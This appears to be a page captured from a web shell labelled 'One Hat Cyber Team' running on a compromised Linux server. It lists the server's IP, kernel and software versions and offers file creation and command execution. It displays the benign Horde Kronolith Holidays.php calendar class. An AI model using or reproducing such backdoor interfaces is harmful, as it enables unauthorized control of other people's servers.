⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.50
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-horde
/
kronolith
/
lib
/
Event
/
View File Name :
Holidays.php
* @package Kronolith */ class Kronolith_Event_Holidays extends Kronolith_Event { /** * The type of the calender this event exists on. * * @var string */ public $calendarType = 'holiday'; /** * The status of this event. * * @var integer */ public $status = Kronolith::STATUS_FREE; /** * Whether this is an all-day event. * * @var boolean */ public $allday = true; /** * Parse in an event from the driver. * * @param Date_Holidays_Holiday $dhEvent A holiday returned * from the driver */ public function fromDriver($dhEvent) { $this->stored = true; $this->initialized = true; $this->title = $dhEvent->getTitle(); $this->start = new Horde_Date($dhEvent->getDate()->getDate()); $this->end = new Horde_Date($this->start); $this->end->mday++; $this->id = $dhEvent->getInternalName() . '-' . $this->start->dateString(); } /** * Encapsulates permissions checking. * * @param integer $permission The permission to check for. * @param string $user The user to check permissions for. * * @return boolean */ public function hasPermission($permission, $user = null) { switch ($permission) { case Horde_Perms::SHOW: case Horde_Perms::READ: return true; default: return false; } } /** * Return this events title. * * @param string $user The current user. * * @return string The title of this event */ public function getTitle($user = null) { return $this->title; } /** * Is this event an all-day event? * * Since there are no holidays lasting only a few hours, this is always * true. * * @return boolean
true
*/ public function isAllDay() { return true; } }